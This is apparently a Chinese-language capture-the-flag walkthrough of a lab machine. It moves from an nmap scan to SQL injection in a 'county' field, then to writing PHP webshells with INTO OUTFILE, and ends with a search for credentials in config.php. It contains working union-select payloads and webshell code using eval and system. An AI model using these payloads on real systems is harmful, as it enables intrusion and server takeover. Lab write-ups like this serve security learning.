
nmap

- 22/tcp ssh
- 80/tcp http
- 8080/tcp http bad gateway
80端口

目录扫描


检查源码

先来测试一下,输入1和默认的国家。

简单测试一下存不存在SQL注入,username不存在SQL注入。

BP看看

记得点跟随重定向。

测试发现county存在SQL注入。

' union select 1#

' union select user()#

l' union select table_name from information_schema.tables where table_schema=database()

不过没有显示出来,那么试试用SQL写入webshell。
l' union select " phpinfo();?>" into outfile "/var/www/html/testinfo.php"
可能是我的操作问题导致sql没法返回值,只能试探性phpinfo();。

' union select " @eval($_POST['a'])?>" into outfile "/var/www/html/shell1.php"#

试试system($_REQUEST[])。
' union select " system($_REQUEST['a'])?>" into outfile "/var/www/html/shell2.php"#
多出来的1'1"是前面测试留下来的,接着就准备反弹。

反弹没反应,编码一下再去试试。



先收集信息,sudo、history等等。


可能是突破口的bad gateway,并没有找到对应的端口。

暂时没找到8080端口信息,回到最开始的信息收集部分,发现目录里面有一个config.php。

很明显是个mysql的凭证,但是需要www-data的密码。

有没有可能这个密码就是www-data的密码或者root的密码。
